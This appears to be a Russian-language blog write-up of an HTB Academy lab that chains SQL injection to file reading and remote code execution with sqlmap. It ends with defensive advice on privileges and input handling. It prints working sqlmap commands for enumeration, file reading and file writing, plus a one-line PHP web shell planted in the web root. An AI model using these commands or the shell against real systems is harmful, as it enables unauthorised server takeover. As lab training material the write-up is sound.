Приветствую вас, друзья!
Как-то я вам обещал разобрать кейс, где можно при помощи SQL-инъекции дойти до RCE-уязвимости. Я привык держать слово.
В новой статье решим кейс с площадки HTB Academy, а именно модуль SQLMap Essentials (OS Exploitation) и на его примере подробно разберём как пройти путь от SQLI до RCE и получить контроль над уязвимым хостом. В промежутке я ещё раз напомню как реализовать LFI. Приступим к разбору!
Крутим SQLi
Нам любезно предоставляют хост с параметром id в URL. Будем проверять его на наличие SQLi-уязвимости.
Для этого поместим следующий запрос в тулзу sqlmap:
sqlmap -u <http://ip:port&id=1> --risk=3 --level=5 --batch
-u — указываем URL с предположительно уязвимым параметром.
--risk=3 — указывает уровень риска (этот уровень максимальный), с которым инструмент будет проводить тестирование веб-приложения на SQL-инъекции.
--level=5 — это настройка, определяющая количество параметров (5-й уровень максимальный), которые будет тестировать sqlmap. При значении 1 будут тестироваться только основные параметры запроса. Значения 2-5 постепенно включают дополнительные параметры: заголовки, куки, POST-данные, JSON и другие нестандартные поля.
--batch — удобный флаг, который позволяет автоматически отвечать на вопросы sqlmap.
Чтобы конкретизировать какой параметр мы хотим протестировать можно указать флаг -p и имя параметра (sqlmap <url> -p id ...).
Теперь смело запускаем и ждём найденную инъекцию.
В процессе перебора инъекций мы видим, что id похоже уязвим к SQLI. Подождём финального ответа sqlmap, где нам укажут саму инъекцию. Нужно точно убедиться, что это не false positive.
Теперь у нас есть с чем работать. Sqlmap сохраняет информацию о сессии и всех проведённых тестах в специальную директорию .sqlmap/output/
Payload не пропадёт, если sqlmap уже его использовал, а сохраниться в упомянутую выше директорию. Даже после перезагрузки компьютера или отключения устройства, эта информация остаётся.
Разведываем обстановку в БД
Раз уж у нас есть инъекция, то давайте при помощи неё разведаем что происходит в БД уязвимого хоста.
Флаг --is-dba используется для проверки, имеет ли текущий пользователь базы данных права администратора.
Если видите current user is DBA: True - значит вы счастливчик! Текущий пользователь Базы данных - это админ.
Можем посмотреть от какого пользователя выполняются команды. Для этого используем флаг --current-user.
Мы знаем, что пользователь root, но а все ли есть у него права? Может админ что-то запретил? Проверим это!
Это можно сделать при помощи флага --privileges. Также можем захватить права других пользователей и произвести их энумерацию.
У нас есть следующие права:
Я это не показал на скринах, но ещё для разведки я бы посоветовал вам использовать --banner, чтобы посмотреть версию БД; По классике можете посмотреть какие базы данных есть на хосте --dbs и какие таблицы --tables, но есть ещё очень сильный флаг --schema, который покажет вам очень подробный вывод всех таблиц, включая их структуру.
С разведкой мы пока закончили. Идём дальше!
Крутим LFI
Теперь научимся читать файлы с директорий на хосте. Обратится к системной директории напрямую мы не можем, но у нас есть рабочая инъекция, которая поможет нам в этом.
Для того, чтобы мы могли прочитать файл системы нам нужны права FILE. Чтение файлов происходит через команду LOAD_FILE() (вариант с MySQL), которую sqlmap подставляет в инъекцию при использовании флага --file-read.
Однако ответ мы можем получить в шестнадцатеричном виде. Почему так происходит? Поясняю :)
Если доступен только слепой тип инъекции, файл нельзя вытащить напрямую. В таких случаях sqlmap будет читать побайтно, используя LIKE, SUBSTRING, ORD() и т.п. Это медленно, но эффективно.
Обычно тулза самостоятельно переводит шестнадцатеричные значения и выдаёт все в открытом виде, но при сбоях соединения может вывести только HEX. В таком случае можно засунуть результат в CyberChef и получить нормальный вывод.
Итак, нам предлагают попробовать такую фичу sqlmap и прочитать флаг в /var/www/html/flag.txt.
sqlmap -u <http://ip:port&id=1> --batch --file-read="<path>"
Немного подождав видим вывод в шестнадцатеричном виде и сохранённый результат в нормальном виде в /sqlmap/output/...
Читаем при помощи cat и получаем первый флаг.
Крутим RCE
Теперь пришло время полностью взять контроль над сервером и забрать последний флаг.
Для реализации RCE нам нужны тоже права FILE, но в инъекции будет команда INTO OUTFILE (вариант с MySQL).
Запишем локально на атакующей тачке простенький пейлоад на PHP, который позволяет выполнять системные команды при помощи параметра cmd в URL при запросе к файлу.
<?php system($_GET["cmd"]); ?>
Запишем этот файл в ту же директорию /html.
sqlmap -u <http://ip:port&id=1> --batch --file-write "<локальный файл с шеллом>" --file-dest "<куда записывать шелл>"
После чего нам говорят, что всё выполнено успешно и файл записан в директорию уязвимого хоста.
Сделаем запрос с параметрами id и ls и посмотрим что из этого выйдет:
Мы выполнили системные команды от пользака www-data.
www-data — в Linux это пользователь, под которым по умолчанию работает веб-сервер, например Apache или Nginx.
Если посмотреть корень системы, то там можно найти заветный второй флаг. Поздравляю! Таск успешной пройден!
Выводы
В любом веб-приложении, где программист слишком доверяет пользователю, рано или поздно появляется она — SQL-инъекция. Её не видно. Её не слышно. Но ты просто пишешь волшебную кавычку — и видишь ошибочку. Ну или любой другой символ, вызывающий ошибку БД. Всё зависит от реализации бэкенда и используемой СУБД.
Вы обнаружили сам факт наличия SQLi и далее начинаете ковырять форму с помощью sqlmap, поскольку теперь у нас есть все основания для засорения базы вашей цели (в случае долгого перебора, если у цели мало места на харде, можно добиться его переполнения, и сервер начнёт умирать). Рано или поздно тулза найдёт инъекцию, которая позволит нам читать базу и реализовать LFI и RCE.
Если в случае дампа всё более-менее понятно, то для следующего этапа — LFI или RCE — нужны особые привилегии в базе. Проводим простую разведку прав, и при наличии в выводе заветного FILE — бегом реализовывать LFI и RCE. С помощью sqlmap это делается совсем просто.
Что делает эту цепочку особенно опасной — это её "мозаичность". По отдельности ни одна из уязвимостей может не казаться фатальной. SQLi без привилегий — просто информационный слив. LFI без исполняемого контента — просто файл-ридер. Но если они встречаются в одной системе, с неправильно настроенными правами, с неразделёнными зонами доверия и с отсутствием контроля над выводом — они срастаются в единый механизм атаки, ведущий к полному захвату.
Всё это происходит не из-за использования сложных уязвимостей, а из-за отсутствия архитектурной гигиены. Когда разработчики не ставят минимально возможные привилегии, не ограничивают пользовательский ввод, не закрывают доступ к чувствительным директориям, и не разделяют код, данные и публичные ресурсы — возникает среда, в которой подобные цепочки атак становятся возможны и легко воспроизводимы.
Устойчивость к такой атаке формируется не одним фильтром или патчем, а подходом к разработке и конфигурированию. Там, где есть границы между слоями, изоляция компонентов, контроль привилегий и отказ от "магии" пользовательского ввода, атака захлебнётся на первом шаге. Там же, где доверие выше, чем разум, — она выстрелит до последнего.
Спасибо за внимание! Не забывайте оценивать моё творчество лайком. Всех благ!